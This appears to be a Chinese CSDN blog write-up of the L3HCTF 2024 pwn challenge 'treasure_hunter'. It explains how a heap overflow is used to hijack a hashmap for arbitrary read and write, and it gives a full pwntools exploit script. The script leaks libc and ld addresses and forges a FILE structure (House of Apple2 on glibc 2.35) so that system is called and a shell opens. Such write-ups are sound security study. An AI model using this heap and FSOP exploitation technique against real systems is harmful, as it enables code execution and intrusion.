l3hctf2024 pwn treasure_hunter

文章讲述了在一款寻宝游戏中,通过IDA逆向分析发现漏洞,利用溢出攻击控制hashmap,实现任意读写,最终获取shell的过程。涉及了内存管理、字符定位和特定库版本的利用技巧。
摘要由CSDN通过智能技术生成

IDA分析

这是一个寻宝小游戏
在这里插入图片描述
init函数初始化地图并把有效地点存入hashmap中。
在这里插入图片描述
漏洞点,申请0xxxx8大小的块可以溢出的下一块的数据区两个字节(这个很重要)。
在这里插入图片描述
a1是由hashmap的key决定的如果我们可以控制hashmap可以在此实现任意读写。
在这里插入图片描述
dream操作

在这里插入图片描述
题目特意在hashmap初始化前将一个块放到了tcache中,这个块是故事的起点。
在这里插入图片描述
可以看到上面的大块可以覆盖到0x20小块的数据区,正好这个小块存放着hashmap的pairs指针我们只需要覆盖其低地址并且在可控制的块伪造pairs和修改一些关键字符(dream操作)就可以完成伪造,伪造之后就可以实现将任意的key放在hashmap中从而实现任意读任意写。

逆向分析数据结构

在这里插入图片描述
我刚才提到了" 修改关键字符 ",如上图在hashmap每插入一对pair的时候都会产生一个字符用于标识key,所以我们只需要搞明白字符是怎么来的和字符应该放在哪里。上图我也写了注释,v8就是我们要确定的字符。
在这里插入图片描述
在这里插入图片描述
实际上字符位置的确定是根据两个移位运算的余和已经插入hashmap的数量来决定。所以我们可以重复插入过程新增我们想要的key到已经初始化的hashmap中一次一个的利用可以减少计算量。
本题的库版本是2.35故使用house of apple2来解决。

解题脚本

from pwn import *
from hashlib import sha256

def gd():
 gdb.attach(p)
 pause()
def read_or_write(idx,v,mode):
 p.recvuntil(b'Today, where are we going, captain?')
 p.sendline(str(idx).encode())
 p.recvline()
 p.recvline()
 t = p.recvline()[:-1]
 t = t.split()
 p.recvuntil(b'Captain! we have 2 choices now. Bury more coins or get some?(b for bury and g for get)')
 if b'no' in t[3]:
  o = 0
 else: 
  o = int(t[3].decode())
 if mode == 0:
  p.send(b'g')
  p.recvuntil(b'How many to get?')
  p.sendline(str(0).encode())
  p.recvuntil(b'Content length: ')
  p.sendline(str(0x9999).encode())
 # p.recvuntil(b'Do you get what you want, captain?(y to end exploration)')
  #p.sendline(b'n')
  return o
 else:
  if o < v:
   p.send(b'b')
   p.recvuntil(b'How many to bury?')
   p.sendline(str(v - o).encode())
   p.recvuntil(b'Content length: ')
   p.sendline(str(0x9999).encode())  
  else:
   p.send(b'g')
   p.recvuntil(b'How many to get?')  
   p.sendline(str(o - v).encode()) 
   p.recvuntil(b'Content length: ')
   p.sendline(str(0x9999).encode())    
def init():
 p.recvuntil(b'Drawing...')
 p.recvline()
 for i in range(0x1c):
  t = p.recvline()[:-1]
  #print(t)
  f = 0
  if b'un' not in t:
   f = 1
  t = t.split(b' ') 
  if f == 1:
   safe.append(t[1][:-1])
  l.append(t[1][:-1])
 p.recvuntil(b'Ready to roll!') 
def add_coin(idx):
 p.recvuntil(b'Today, where are we going, captain?')
 p.sendline(str(idx).encode())
 p.recvuntil(b'Mining...\n')
 t = p.recvline()[:-1]

 t = t.split()
 print(t)
 p.recvuntil(b'Captain! we have 2 choices now. Bury more coins or get some?(b for bury and g for get)')
 p.send(b'g')
 o = int(t[3].decode())
 print(o)
 p.recvuntil(b'How many to get?')
 p.sendline(str(o - 1).encode())
 p.recvuntil(b'Content length: ')
 p.sendline(str(0x9999).encode())
 #p.interactive()
def calc_and_put(key):
  loca = 0
  value = 0
  h = u64(sha256(p64(key)).digest()[:8])
  h1 = h >> 4
  value = h >> 57
  loca = (h1 % (32 // 16))
  put(28 if loca == 1 else 12,value,1) 
def put(loca,value,mode):
 p.recvuntil(b'Today, where are we going, captain?')
 p.sendline(str(235).encode())
 p.recvline()
 p.recvline()
 t = p.recvline()[:-1]
 p.recvuntil(b'Captain! we have 2 choices now. Bury more coins or get some?(b for bury and g for get)')
 p.send(b'g')
 p.recvuntil(b'How many to get?')
 p.sendline(str(0).encode())
 p.recvuntil(b'Content length: ')
 p.sendline(str(0x10).encode())
 p.send(b'a') 
 p.recvuntil(b'Buy?(y for yes)')
 p.send(b'y')
 if mode == 0:
  p.recvuntil(b"Hello, my boy! I'm your god. I'll give you a mysterious number, if you know how to use this number, You can then get a thing called flag: ")
  heap_base = int(p.recv(14),16) - 0x122c0
  p.sendline(str(0xfff).encode())
  p.recvuntil(b'Do you get what you want, captain?(y to end exploration)')
  p.send(b'n')
  return heap_base
 else:
  p.recvuntil(b'Now tell me where you want to write: ')
  p.sendline('{:d}'.format(loca).encode())
  p.recvuntil(b': ')
  p.send(p8(value))
  p.recvuntil(b'Do you get what you want, captain?(y to end exploration)')
  p.send(b'n')  
def chunk(size,data,mode=0):
 p.recvuntil(b'Today, where are we going, captain?')
 p.sendline(str(235).encode())
 p.recvline()
 p.recvline()
 t = p.recvline()[:-1]
 p.recvuntil(b'Captain! we have 2 choices now. Bury more coins or get some?(b for bury and g for get)')
 p.send(b'g')
 p.recvuntil(b'How many to get?')
 p.sendline(str(0).encode())
 p.recvuntil(b'Content length: ')
 p.sendline(str(size).encode())
 p.send(data) 
 p.recvuntil(b'Buy?(y for yes)')
 p.send(b'n')
 p.recvuntil(b'Do you get what you want, captain?(y to end exploration)')
 if mode == 1:
  p.send(b'Y')
  #gd()
  p.recvuntil(b'They must be very precious!')
  p.send(b'cat flag\x00')
  
 else: 
  p.send(b'n')
  
def get_pairs(off):
 p=flat([
        p64(0x00000000000008b1), p64(0x0000000000000000),
        p64(0x0000000000000558), p64(0x0000000000000001),
        p64(0x00000000000005da), p64(0x0000000000000000),
        p64(0x0000000000000c18), p64(0x0000000000000000),
        p64(0x0000000000000a9f), p64(0x0000000000000000),
        p64(0x00000000000003b9), p64(0x0000000000000000),
        p64(0x0000000000000ec7), p64(0x0000000000000001),
        p64(0x00000000000000e4), p64(0x0000000000000001),
        p64(0x0000000000000cae), p64(0x0000000000000000),
        p64(0x0000000000000e29), p64(0x0000000000000001),
        p64(0x0000000000000f75), p64(0x0000000000000000),
        p64(0x000000000000031e), p64(0x0000000000000001),
        p64(off), p64(1), 
        p64(0x0000000000000b30), p64(0x0000000000000001),
        p64(0x0000000000000c4d), p64(0x0000000000000001),
        p64(0x000000000000083b), p64(0x0000000000000001),
        p64(0x00000000000004b3), p64(0x0000000000000000),
        p64(0x0000000000000c6e), p64(0x0000000000000001),
        p64(0x00000000000006c4), p64(0x0000000000000000),
        p64(0x0000000000000d13), p64(0x0000000000000001),
        p64(0x000000000000015d), p64(0x0000000000000001),
        p64(0x0000000000000615), p64(0x0000000000000001),
        p64(0x000000000000024a), p64(0x0000000000000000),
        p64(0x00000000000006e6), p64(0x0000000000000001),
        p64(0x0000000000000e64), p64(0x0000000000000001),
        p64(0x0000000000000259), p64(0x0000000000000001),
        p64(0x00000000000004ec), p64(0x0000000000000001),
        p64(0x00000000000000eb), p64(0x0000000000000001), 
        p64(off), p64(1), 
    ])
 return p   
coin = 0 
safe = []
l = []
p = process("./pwn")
libc = ELF("/home/cforce/Desktop/pwn_tools/glibc-all-in-one-master/libs/2.35-0ubuntu3.6_amd64/libc.so.6")
init()
add_coin(235)
add_coin(1260)
add_coin(601)
add_coin(1766)
heap_base = put(1,1,0)
payload = b'b' * 0x10 + p64(heap_base + 0x12910) + p64(heap_base + 0x12910 + 0x200) * 2 + p64(0) + get_pairs(0x3f18)
chunk(0x3c8,payload)
chunk(0x408,b'b' * 0x408 + p64(0x21) + p16((heap_base + 0x128f0) & 0xffff))
calc_and_put(0x3f18)
leak = p8(read_or_write(0x3f18,0,0))

for i in range(1,6):
 payload = b'b' * 0x10 + p64(heap_base + 0x12910) + p64(heap_base + 0x12910 + 0x200) * 2 +  p64(0) + get_pairs(0x3f18 + i)
 chunk(0x3c8,payload)
 calc_and_put(0x3f18 + i)
 leak += p8(read_or_write(0x3f18 + i,0,0))
libc_base = u64(leak.ljust(8,b'\x00'))  - 0x7e60
print(hex(libc_base))
leak = b''

for i in range(0,6):
 payload = b'b' * 0x10 + p64(heap_base + 0x12910) + p64(heap_base + 0x12910 + 0x200) * 2 +  p64(0) + get_pairs(0x3f00 + i)
 chunk(0x3c8,payload)
 calc_and_put(0x3f00 + i)
 leak += p8(read_or_write(0x3f00 + i,0,0))
ld_base = u64(leak.ljust(8,b'\x00')) - 0x8d8
print(hex(ld_base)) 
mmap_addr = ld_base + 0x37000
io_list_all = libc_base + libc.sym['_IO_list_all']
sys_addr = libc_base + libc.sym['system']
fake_io_addr = heap_base + 0x12cb0
fake_wide = fake_io_addr + 0x100
fake_io = b'\x00\x00\x00\x00 sh;' + p64(0) * 3 + p64(0) + p64(1)
fake_io = fake_io.ljust(0xa0,b'\x00')
fake_io += p64(fake_wide)
fake_io = fake_io.ljust(0xd8,b'\x00')
fake_io += p64(libc_base + libc.sym['_IO_wfile_jumps'])
fake_io = fake_io.ljust(0x1e0,b'\x00')
fake_io += p64(fake_io_addr + 0x180) + p64(sys_addr)
chunk(0x500,fake_io)

off = (io_list_all - mmap_addr) & 0xffffffffffffffff
data = p64(fake_io_addr)[:6]
for i in range(len(data)):
 payload = b'b' * 0x10 + p64(heap_base + 0x12910) + p64(heap_base + 0x12910 + 0x200) * 2 +  p64(0) + get_pairs(off + i)
 chunk(0x3c8,payload)
 calc_and_put(off + i)
 read_or_write(off + i,data[i],1)
gd() 
chunk(0x10,b'1',1) 


#gd()
p.interactive()

成功getshell
在这里插入图片描述

tips:脚本有些混乱仅供参考。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值